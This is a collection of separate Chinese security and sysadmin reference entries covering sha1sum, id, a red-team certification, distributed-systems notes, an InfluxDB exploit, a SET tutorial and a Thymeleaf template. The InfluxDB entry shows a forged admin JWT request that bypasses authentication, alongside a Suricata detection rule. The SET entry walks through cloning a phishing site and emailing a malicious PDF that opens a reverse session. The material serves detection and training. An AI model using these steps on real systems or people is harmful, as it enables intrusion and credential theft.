\fBsha1sum\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
输出或检查 SHA1 (160位) 校验和。
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.TP
\fB\-b\fP, \fB\-\-binary\fP
以二进制模式读入
.TP
\fB\-c\fP, \fB\-\-check\fP
从指定文件中校验和信息并对它们进行检查
.TP
\fB\-\-tag\fP
创建一个 BSD 风格的校验和
.TP
\fB\-t\fP, \fB\-\-text\fP
以文本模式读入(默认)
.TP
\fB\-z\fP, \fB\-\-zero\fP
以 NUL 空字符而非换行符结束每一输出行,同时禁用文件名转义
.SS 下面五个选项仅在验证校验和时有用:
.TP
\fB\-\-ignore\-missing\fP
遇到缺失的文件时不报告错误,保持静默
.TP
\fB\-\-quiet\fP
不要为每个成功验证的文件显示成功信息
.TP
\fB\-\-status\fP
不要输出任何信息,由返回值判断成功与否
.TP
\fB\-\-strict\fP
为没有正确格式化的校验和文字行给出非零返回值
.TP
\fB\-w\fP, \fB\-\-warn\fP
为没有正确格式化的校验和文字行给出警告信息
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
校验和按照 FIPS\-180\-1
描述的方式进行计算。在校验过程中,其输入内容应当为该程序先前的输出内容。默认模式是输出一行文字,包含:校验和、一个指示输入模式的字符('*'
指示二进制输入,' ' 指示二进制特性不明显的文本输入)以及每个文件的名称。
.PP
注意:GNU 系统上二进制模式和文本模式没有区别。
.SH 错误
不要为与安全相关的目的使用 SHA\-1 算法。作为替代,请使用一个 SHA\-2 算法,它们分别在
\fBsha224sum\fP(1)、\fBsha256sum\fP(1)、\fBsha384sum\fP(1)、\fBsha512sum\fP(1)
这些程序中实现;或者请使用 BLAKE2 算法,它在 \fBb2sum\fP(1) 程序中实现
.SH 作者
由 Ulrich Drepper, Scott Miller 和 David Madore 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBcksum\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/sha1sum>
.br
或者在本地使用: info \(aq(coreutils) rm invocation\(aq
|
sec-knowleage
|
# T1190-Influxdb<1.7.6未授权访问漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
InfluxDB是一个使用Go语言编写的开源分布式,支持高并发的时序数据库,其使用JWT作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,JWT的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。
影响版本:Influxdb < 1.7.6
## 检测日志
HTTP
## 测试复现
具体测试过程请参考:<https://blog.csdn.net/weixin_43416469/article/details/113843301>
## 测试留痕
```yml
POST /query HTTP/1.1
Host: 10.7.2.106:8086
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjE2MjM5MDIyfQ.9ZTT-ppj20hPXZaUoSxTWf0Mei-idhAU2FaoaQgJJm8
Accept-Language: zh-CN,zh;q=0.9,be;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 26
db=sample&q=show+users
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/json
Request-Id: 19c6cf88-1a5b-11eb-800c-000000000000
X-Influxdb-Build: OSS
X-Influxdb-Version: 1.6.6
X-Request-Id: 19c6cf88-1a5b-11eb-800c-000000000000
Date: Fri, 30 Oct 2020 02:53:34 GMT
Connection: close
Transfer-Encoding: chunked
69
..........,.=
. .D...So..^E$H.BP...Fr.`....{.....!N.e....Z...e....h...pe.!.^......*~.L.S..~w......8..c...
0
```
## 检测规则/思路
### Suricata规则
```s
alert http any any -> any any (msg:"Influxdb<1.7.6未授权访问";flow:established,to_server;content:"POST";http_method;content:"/query";http_uri;content:"db=sample&q=show+users";http_client_body;reference:url,blog.csdn.net/weixin_43416469/article/details/113843301;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
influxdb未授权访问漏洞
<https://blog.csdn.net/weixin_43416469/article/details/113843301>
|
sec-knowleage
|
# 考证经验分享
> 官网:https://training.zeropointsecurity.co.uk/courses/red-team-ops
## 简介
Certified Red Team Operator(CRTO)是一种专业证书,证明了个人在红队运作领域的专业知识和能力。红队运作是指在组织的信息系统和网络上进行模拟网络攻击,由一组安全专家进行,旨在识别组织的安全弱点和漏洞。
CRTO证书通常由安全培训和认证机构提供,面向参与红队运作的个人,如渗透测试人员,安全顾问和事件响应人员。获得证书的过程通常包括一次考试,测试个人对红队运作方法,工具和技术的知识,以及在实际场景中应用这些知识的能力。
持有 CRTO证书表明个人对红队运作有深刻的理解和能力,能够对组织的系统和网络进行有效的模拟攻击,这是网络安全领域中任何专业人员都应该具备的技能。
## 收费标准
- 课程材料加1次考试尝试,365英镑。
- 单独考试尝试或者重考费用,99英镑。
> **提供有偿技术指导以及课程笔记帮你理解整体的逻辑**。
## 课程框架
在CRTO课程中,学员会学习到如何使用Cobalt Strike进行内网渗透。
1. 入门
2. 命令与控制
3. 外部侦查
4. 初始入侵
5. 主机侦查
6. 主机持久性
7. 主机特权提升
8. 主机持久性(重复)
9. 凭据盗取
10. 密码破解技巧与技巧
11. 域侦查
12. 用户模仿
13. 横向移动
14. 会话传递
15. 枢转
16. 数据保护API
17. Kerberos
18. Active Directory证书服务
19. 组策略
20. MS SQL服务器
21. 域统治
22. 森林和域信任
23. 本地管理员密码解决方案
24. Microsoft Defender Antivirus
25. 应用程序白名单
26. 数据搜索和外泄
27. 扩展Cobalt Strike
## 实验室订阅
> 实验室:https://training.zeropointsecurity.co.uk/pages/red-team-ops-lab
最近这段时间,CRTO更新课程和实验室版本,从以前访问实验室每小时1.25英镑变成现在20英镑40个小时。有一说一,这个实验室靶场确实物有所值,可以熟悉内网渗透的相关步骤。
## 考试模式
> 预定考试:https://training.zeropointsecurity.co.uk/pages/red-team-ops-exam
考试机器有8台机器,需要获得6台以上机器的flag.txt才可以通过考试。考试时间为4天,考试机器48小时,也就是说平均下来每天可以访问机器12小时。其中考试没有人监考。考试开始前一小时重新安排或取消预约。
## 经验分享
CRTO考试并不难,可以将课程材料在实验室过一遍,了解其攻击原理、使用到什么工具以及获得什么样的结果,做到心里有数就可以了。如果确实担心考试太难,**可以私聊**。
|
sec-knowleage
|
id
===
打印真实以及有效的用户和所在组的信息
## 概要
```shell
id [OPTION]... [USER]...
```
## 主要用途
- 没有选项时,打印指定用户ID信息。
## 选项
```shell
-a 兼容性选项,没有实际作用。
-Z, --context 只打印进程的安全上下文。
-g, --group 只打印有效的组ID。
-G, --groups 打印全部组ID。
-u, --user 只打印有效的用户ID。
-z, --zero 使用空字符代替默认的空格来分隔条目。
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
```
只有在使用 `-u` `-g` `-G` 选项中一到多个时,以下选项可以使用:
```shell
-n, --name 打印名称而不是数字。
-r, --real 打印真实ID而不是有效ID。
```
## 参数
user(可选):可以为一到多个,默认为当前用户。
## 返回值
返回0表示成功,返回非0值表示失败。
## 例子
```shell
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```
解释:用户root的UID号码 = 0,GID号码 = 0。用户root是下面组的成员:
* root组GID号是:0
* bin组GID号是:1
* daemon组GID号是:2
* sys组GID号是:3
* adm组GID号是:4
* disk组GID号是:6
* wheel组GID号是:10
打印用户名、UID 和该用户所属的所有组,要这么做,我们可以使用 -a 选项:
```shell
[root@localhost ~]# id -a
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```
输出所有不同的组ID ,有效的,真实的和补充的,我们可以使用 -G 选项来实现:
```shell
[root@localhost ~]# id -G
0 1 2 3 4 6 10
```
结果只会显示GID号。你可以和`/etc/group`文件比较。下面是`/etc/group`文件的示例内容:
只输出有效的组ID,通过使用 -g 选项来只输出有效组ID:
```shell
[root@localhost ~]# id -g
0
```
输出特定用户信息,我们可以输出特定的用户信息相关的UID和GID。只需要在id命令后跟上用户名:
```shell
[root@localhost ~]# id www
uid=500(www) gid=500(www) groups=500(www)
```
### 注意
1. 该命令可以显示真实有效的用户ID(UID)和组ID(GID)。UID 是对一个用户的单一身份标识。组ID(GID)则对应多个UID;一些程序可能需要UID/GID来运行。`id` 使我们更加容易地找出用户的UID以及GID,而不必在 `/etc/group` 文件中搜寻。
2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 id`,`info coreutils 'id invocation'`。
|
sec-knowleage
|
# SET
<p align="center">
<img src="../../../assets/img/logo/set.png" width="30%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**项目地址**
- https://github.com/trustedsec/social-engineer-toolkit/
**文章 & Reference**
- [Kali Linux工具集简介 - SET - 邮箱](https://blog.csdn.net/lendq/article/details/79314159)
---
## 快速使用
SET kali 自带,所以先进入到 SET 的目录下.
```
cd /usr/share/set
./setoolkit
```
出现选项
1. 社会工程学攻击
2. 快速追踪渗透测试
3. 第三方模块
4. 升级 Metasploit Framework 软件
5. 升级 SET 软件
6. 升级 SET 配置
**建立钓鱼网站**
因为要制作钓鱼网站,所以我们选择 1.接下来又会让你选择
1. 鱼叉式网络钓鱼攻击
2. 网页攻击
3. 传染媒介式(俗称木马)
4. 建立 payloaad 和 listener
5. 邮件群发攻击(夹杂木马啊 payload 的玩意发给你)
6. Arduino 基础攻击
7. 无线接入点攻击
8. 二维码攻击
9. Powershell 攻击
10. 第三方模块
99. 返回上级
选择 2,网页攻击.接下来又会让你选择
1. java applet 攻击(网页弹窗那种)
2. Metasploit 浏览器漏洞攻击
3. 钓鱼网站攻击
4. 标签钓鱼攻击
5. 网站 jacking 攻击
6. 多种网站攻击方式
7. 全屏幕攻击
99. 返回上级
选择 2,接下来还是会让你选择
1. 网站模板
2. 克隆网站
3. 自己设计网站
在这里我们选择 1,接下来选择就可以了.填写你虚拟机的地址.继续选择,我选择 Google 的模板,2.之后一路按"enter"就可以了.之后访问虚拟机的地址,就出现了钓鱼网站
**邮件式钓鱼攻击**
在第一个实验的第二步中选择 1,鱼叉式网络钓鱼攻击,就可以了.出现选项,要进行邮件式钓鱼攻击就选择 1.
1. 执行群发邮件攻击
2. 创建一个文件格式负载
3. 创建一个社工模板
又出现选项,这是让你选择攻击向量,选择 6,这种攻击对很多版本的 Adobe Acrobat Reader 软件都有效
接着选择,这次选择的是攻击的技术问题,选择 2,使用 Metasploit 接收反向会话、或者受害者电脑的 IP 和端口,以避免入侵检测系统(IDS)或其他系统的报警.
填入你虚拟机的地址,端口就写默认的 443 端口就行.
输入邮件信息,最后,SET 发出一封看起来很专业的电子邮件,引诱用户打开附件中的 PDF 文件.邮件发送之后,SET 会创建一个网络监听器等待目标打开文件.一旦目标点击了 PDF,监听器就会执行恶意代码,让攻击者得以进入受害者的计算机中.
|
sec-knowleage
|
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>Getting Started: Serving Web Content</title>
<!--/*/ <th:block th:include="fragments/head :: head"/> /*/-->
</head>
<body>
<div class="container">
<h1 th:text="'Hello, ' + ${name} + '!'"/>
<div th:unless="${subject.authenticated}">
<a th:href="@{/login.html}" class="btn btn-primary">Login</a>
</div>
<div th:if="${subject.authenticated}">
<h4 th:text="'Principal: ' + ${subject.principal}"></h4>
<form id="logoutForm" th:action="@{/logout}" method="post">
<input type="submit" class="btn btn-danger" value="Logout"/>
</form>
</div>
<h4><a th:href="@{/admin/}" class="btn btn-primary">Account info</a> (Requires authenticated.)</h4>
</div>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<script src="https://netdna.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
</body>
</html>
|
sec-knowleage
|
# 分布式
<!-- GFM-TOC -->
* [分布式](#分布式)
* [一、分布式锁](#一分布式锁)
* [数据库的唯一索引](#数据库的唯一索引)
* [Redis 的 SETNX 指令](#redis-的-setnx-指令)
* [Redis 的 RedLock 算法](#redis-的-redlock-算法)
* [Zookeeper 的有序节点](#zookeeper-的有序节点)
* [二、分布式事务](#二分布式事务)
* [2PC](#2pc)
* [本地消息表](#本地消息表)
* [三、CAP](#三cap)
* [一致性](#一致性)
* [可用性](#可用性)
* [分区容忍性](#分区容忍性)
* [权衡](#权衡)
* [四、BASE](#四base)
* [基本可用](#基本可用)
* [软状态](#软状态)
* [最终一致性](#最终一致性)
* [五、Paxos](#五paxos)
* [执行过程](#执行过程)
* [约束条件](#约束条件)
* [六、Raft](#六raft)
* [单个 Candidate 的竞选](#单个-candidate-的竞选)
* [多个 Candidate 竞选](#多个-candidate-竞选)
* [数据同步](#数据同步)
* [参考](#参考)
<!-- GFM-TOC -->
## 一、分布式锁
在单机场景下,可以使用语言的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。
阻塞锁通常使用互斥量来实现:
- 互斥量为 0 表示有其它进程在使用锁,此时处于锁定状态;
- 互斥量为 1 表示未锁定状态。
1 和 0 可以用一个整型值表示,也可以用某个数据是否存在表示。
### 数据库的唯一索引
获得锁时向表中插入一条记录,释放锁时删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否处于锁定状态。
存在以下几个问题:
- 锁没有失效时间,解锁失败的话其它进程无法再获得该锁;
- 只能是非阻塞锁,插入失败直接就报错了,无法重试;
- 不可重入,已经获得锁的进程也必须重新获取锁。
### Redis 的 SETNX 指令
使用 SETNX(set if not exist)指令插入一个键值对,如果 Key 已经存在,那么会返回 False,否则插入成功并返回 True。
SETNX 指令和数据库的唯一索引类似,保证了只存在一个 Key 的键值对,那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
EXPIRE 指令可以为一个键值对设置一个过期时间,从而避免了数据库唯一索引实现方式中释放锁失败的问题。
### Redis 的 RedLock 算法
使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时仍然可用。
- 尝试从 N 个互相独立 Redis 实例获取锁;
- 计算获取锁消耗的时间,只有时间小于锁的过期时间,并且从大多数(N / 2 + 1)实例上获取了锁,才认为获取锁成功;
- 如果获取锁失败,就到每个实例上释放锁。
### Zookeeper 的有序节点
#### 1. Zookeeper 抽象模型
Zookeeper 提供了一种树形结构的命名空间,/app1/p_1 节点的父节点为 /app1。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/aefa8042-15fa-4e8b-9f50-20b282a2c624.png" width="320px"> </div><br>
#### 2. 节点类型
- 永久节点:不会因为会话结束或者超时而消失;
- 临时节点:如果会话结束或者超时就会消失;
- 有序节点:会在节点名的后面加一个数字后缀,并且是有序的,例如生成的有序节点为 /lock/node-0000000000,它的下一个有序节点则为 /lock/node-0000000001,以此类推。
#### 3. 监听器
为一个节点注册监听器,在节点状态发生改变时,会给客户端发送消息。
#### 4. 分布式锁实现
- 创建一个锁目录 /lock;
- 当一个客户端需要获取锁时,在 /lock 下创建临时的且有序的子节点;
- 客户端获取 /lock 下的子节点列表,判断自己创建的子节点是否为当前子节点列表中序号最小的子节点,如果是则认为获得锁;否则监听自己的前一个子节点,获得子节点的变更通知后重复此步骤直至获得锁;
- 执行业务代码,完成后,删除对应的子节点。
#### 5. 会话超时
如果一个已经获得锁的会话超时了,因为创建的是临时节点,所以该会话对应的临时节点会被删除,其它会话就可以获得锁了。可以看到,这种实现方式不会出现数据库的唯一索引实现方式释放锁失败的问题。
#### 6. 羊群效应
一个节点未获得锁,只需要监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应,一只羊动起来,其它羊也会一哄而上),而我们只希望它的后一个子节点收到通知。
## 二、分布式事务
指事务的操作位于不同的节点上,需要保证事务的 ACID 特性。
例如在下单场景下,库存和订单如果不在同一个节点上,就涉及分布式事务。
分布式锁和分布式事务区别:
- 锁问题的关键在于进程操作的互斥关系,例如多个进程同时修改账户的余额,如果没有互斥关系则会导致该账户的余额不正确。
- 而事务问题的关键则在于事务涉及的一系列操作需要满足 ACID 特性,例如要满足原子性操作则需要这些操作要么都执行,要么都不执行。
### 2PC
两阶段提交(Two-phase Commit,2PC),通过引入协调者(Coordinator)来协调参与者的行为,并最终决定这些参与者是否要真正执行事务。
#### 1. 运行过程
##### 1.1 准备阶段
协调者询问参与者事务是否执行成功,参与者发回事务执行结果。询问可以看成一种投票,需要参与者都同意才能执行。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/44d33643-1004-43a3-b99a-4d688a08d0a1.png" width="550px"> </div><br>
##### 1.2 提交阶段
如果事务在每个参与者上都执行成功,事务协调者发送通知让参与者提交事务;否则,协调者发送通知让参与者回滚事务。
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/d2ae9932-e2b1-4191-8ee9-e573f36d3895.png" width="550px"> </div><br>
#### 2. 存在的问题
##### 2.1 同步阻塞
所有事务参与者在等待其它参与者响应的时候都处于同步阻塞等待状态,无法进行其它操作。
##### 2.2 单点问题
协调者在 2PC 中起到非常大的作用,发生故障将会造成很大影响。特别是在提交阶段发生故障,所有参与者会一直同步阻塞等待,无法完成其它操作。
##### 2.3 数据不一致
在提交阶段,如果协调者只发送了部分 Commit 消息,此时网络发生异常,那么只有部分参与者接收到 Commit 消息,也就是说只有部分参与者提交了事务,使得系统数据不一致。
##### 2.4 太过保守
任意一个节点失败就会导致整个事务失败,没有完善的容错机制。
### 本地消息表
本地消息表与业务数据表处于同一个数据库中,这样就能利用本地事务来保证在对这两个表的操作满足事务特性,并且使用了消息队列来保证最终一致性。
1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息,本地事务能保证这个消息一定会被写入本地消息表中。
2. 之后将本地消息表中的消息转发到消息队列中,如果转发成功则将消息从本地消息表中删除,否则继续重新转发。
3. 在分布式事务操作的另一方从消息队列中读取一个消息,并执行消息中的操作。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/476329d4-e2ef-4f7b-8ac9-a52a6f784600.png" width="740px"> </div><br>
## 三、CAP
分布式系统不可能同时满足一致性(C:Consistency)、可用性(A:Availability)和分区容忍性(P:Partition Tolerance),最多只能同时满足其中两项。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a14268b3-b937-4ffa-a34a-4cc53071686b.jpg" width="450px"> </div><br>
### 一致性
一致性指的是多个数据副本是否能保持一致的特性,在一致性的条件下,系统在执行数据更新操作之后能够从一致性状态转移到另一个一致性状态。
对系统的一个数据更新成功之后,如果所有用户都能够读取到最新的值,该系统就被认为具有强一致性。
### 可用性
可用性指分布式系统在面对各种异常时可以提供正常服务的能力,可以用系统可用时间占总时间的比值来衡量,4 个 9 的可用性表示系统 99.99% 的时间是可用的。
在可用性条件下,要求系统提供的服务一直处于可用的状态,对于用户的每一个操作请求总是能够在有限的时间内返回结果。
### 分区容忍性
网络分区指分布式系统中的节点被划分为多个区域,每个区域内部可以通信,但是区域之间无法通信。
在分区容忍性条件下,分布式系统在遇到任何网络分区故障的时候,仍然需要能对外提供一致性和可用性的服务,除非是整个网络环境都发生了故障。
### 权衡
在分布式系统中,分区容忍性必不可少,因为需要总是假设网络是不可靠的。因此,CAP 理论实际上是要在可用性和一致性之间做权衡。
可用性和一致性往往是冲突的,很难使它们同时满足。在多个节点之间进行数据同步时,
- 为了保证一致性(CP),不能访问未同步完成的节点,也就失去了部分可用性;
- 为了保证可用性(AP),允许读取所有节点的数据,但是数据可能不一致。
## 四、BASE
BASE 是基本可用(Basically Available)、软状态(Soft State)和最终一致性(Eventually Consistent)三个短语的缩写。
BASE 理论是对 CAP 中一致性和可用性权衡的结果,它的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
### 基本可用
指分布式系统在出现故障的时候,保证核心可用,允许损失部分可用性。
例如,电商在做促销时,为了保证购物系统的稳定性,部分消费者可能会被引导到一个降级的页面。
### 软状态
指允许系统中的数据存在中间状态,并认为该中间状态不会影响系统整体可用性,即允许系统不同节点的数据副本之间进行同步的过程存在时延。
### 最终一致性
最终一致性强调的是系统中所有的数据副本,在经过一段时间的同步后,最终能达到一致的状态。
ACID 要求强一致性,通常运用在传统的数据库系统上。而 BASE 要求最终一致性,通过牺牲强一致性来达到可用性,通常运用在大型分布式系统中。
在实际的分布式场景中,不同业务单元和组件对一致性的要求是不同的,因此 ACID 和 BASE 往往会结合在一起使用。
## 五、Paxos
用于达成共识性问题,即对多个节点产生的值,该算法能保证只选出唯一一个值。
主要有三类节点:
- 提议者(Proposer):提议一个值;
- 接受者(Acceptor):对每个提议进行投票;
- 告知者(Learner):被告知投票的结果,不参与投票过程。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b988877c-0f0a-4593-916d-de2081320628.jpg"/> </div><br>
### 执行过程
规定一个提议包含两个字段:[n, v],其中 n 为序号(具有唯一性),v 为提议值。
#### 1. Prepare 阶段
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送 Prepare 请求。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png"/> </div><br>
当 Acceptor 接收到一个 Prepare 请求,包含的提议为 [n1, v1],并且之前还未接收过 Prepare 请求,那么发送一个 Prepare 响应,设置当前接收到的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。
如下图,Acceptor X 在收到 [n=2, v=8] 的 Prepare 请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的 Prepare 响应,设置当前接收到的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg"/> </div><br>
如果 Acceptor 接收到一个 Prepare 请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 \> n2,那么就丢弃该提议请求;否则,发送 Prepare 响应,该 Prepare 响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
如下图,Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的 Prepare 请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n \> 2,因此就抛弃该提议请求;Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的 Prepare 请求,因为之前接收到的提议为 [n=2, v=8],并且 2 \<= 4,因此就发送 [n=2, v=8] 的 Prepare 响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg"/> </div><br>
#### 2. Accept 阶段
当一个 Proposer 接收到超过一半 Acceptor 的 Prepare 响应时,就可以发送 Accept 请求。
Proposer A 接收到两个 Prepare 响应之后,就发送 [n=2, v=8] Accept 请求。该 Accept 请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
Proposer B 过后也收到了两个 Prepare 响应,因此也开始发送 Accept 请求。需要注意的是,Accept 请求的 v 需要取它收到的最大提议编号对应的 v 值,也就是 8。因此它发送 [n=4, v=8] 的 Accept 请求。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png"/> </div><br>
#### 3. Learn 阶段
Acceptor 接收到 Accept 请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送 Learn 提议给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/bf667594-bb4b-4634-bf9b-0596a45415ba.jpg"/> </div><br>
### 约束条件
#### 1\. 正确性
指只有一个提议值会生效。
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
#### 2\. 可终止性
指最后总会有一个提议生效。
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
## 六、Raft
Raft 也是分布式一致性协议,主要是用来竞选主节点。
- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
### 单个 Candidate 的竞选
有三种节点:Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间,一般为 150ms\~300ms,如果在这个时间内没有收到 Leader 的心跳包,就会变成 Candidate,进入竞选阶段。
- 下图展示一个分布式系统的最初阶段,此时只有 Follower 没有 Leader。Node A 等待一个随机的竞选超时时间之后,没收到 Leader 发来的心跳包,因此进入竞选阶段。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/111521118015898.gif"/> </div><br>
- 此时 Node A 发送投票请求给其它所有节点。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/111521118445538.gif"/> </div><br>
- 其它节点会对请求进行回复,如果超过一半的节点回复了,那么该 Candidate 就会变成 Leader。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/111521118483039.gif"/> </div><br>
- 之后 Leader 会周期性地发送心跳包给 Follower,Follower 接收到心跳包,会重新开始计时。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/111521118640738.gif"/> </div><br>
### 多个 Candidate 竞选
- 如果有多个 Follower 成为 Candidate,并且所获得票数相同,那么就需要重新开始投票。例如下图中 Node B 和 Node D 都获得两票,需要重新开始投票。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/111521119203347.gif"/> </div><br>
- 由于每个节点设置的随机竞选超时时间不同,因此下一次再次出现多个 Candidate 并获得同样票数的概率很低。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/111521119368714.gif"/> </div><br>
### 数据同步
- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交,只是写入日志中。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/71550414107576.gif"/> </div><br>
- Leader 会把修改复制到所有 Follower。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/91550414131331.gif"/> </div><br>
- Leader 会等待大多数的 Follower 也进行了修改,然后才将修改提交。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/101550414151983.gif"/> </div><br>
- 此时 Leader 会通知的所有 Follower 让它们也提交修改,此时所有节点的值达成一致。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/111550414182638.gif"/> </div><br>
## 参考
- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
- [Distributed locks with Redis](https://redis.io/topics/distlock)
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
